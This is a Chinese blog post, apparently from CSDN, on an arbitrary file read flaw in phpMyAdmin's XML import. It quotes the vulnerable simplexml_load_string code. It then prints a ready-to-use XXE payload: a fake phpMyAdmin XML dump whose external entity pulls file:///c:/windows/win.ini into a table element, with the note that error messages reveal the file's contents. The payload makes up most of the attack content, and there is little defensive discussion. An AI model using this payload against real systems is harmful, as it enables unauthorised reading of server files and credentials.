PhpMyadmin任意文件读取漏洞

本文介绍如何使用PHP加载XML字符串,并演示了一个构造不完整的XML文件导致的安全风险。重点讨论了使用`LIBXML_COMPACT`选项进行性能优化,同时提供了一个实际的XML导入示例,展示了如何通过导入精心构造的XML文件来读取和写入数据。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

 

libraries/import/xml.php中

unset($data);



/**

 * Load the XML string

 *

 * The option LIBXML_COMPACT is specified because it can

 * result in increased performance without the need to

 * alter the code in any way. It's basically a freebee.

 */

$xml = simplexml_load_string($buffer, "SimpleXMLElement", LIBXML_COMPACT);

unset($buffer);



/**

 * The XML was malformed

 */

if ($xml === FALSE) {



可以使用系统中的import功能导入一个精心构造的xml文件

<?xml version="1.0" encoding="utf-8"?>

<!DOCTYPE wooyun [

  <!ENTITY hi80sec SYSTEM "file:///c:/windows/win.ini">

]>

<!--

- phpMyAdmin XML Dump

- version 3.4.4

- http://www.phpmyadmin.net

-

- 主机: localhost

- 生成日期: 2011 年 11 月 01 日 14:56

- 服务器版本: 5.1.28

- PHP 版本: 5.2.6

-->



<pma_xml_export version="1.0" xmlns:pma="http://www.phpmyadmin.net/some_doc_url/">

    <!--

    - Structure schemas

    -->

    <pma:structure_schemas>

        <pma:database name="test" collation="utf8_general_ci" charset="utf8">

            <pma:table name="ts_ad">

                &hi80sec;

            </pma:table>

        </pma:database>

    </pma:structure_schemas>



    <!--

    - 数据库: 'thinksns'

    -->

    <database name="thinksns">

        <!-- 表 ts_ad -->

    </database>

</pma_xml_export>


来读写文件,系统错误信息会直接显示出文件内容

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值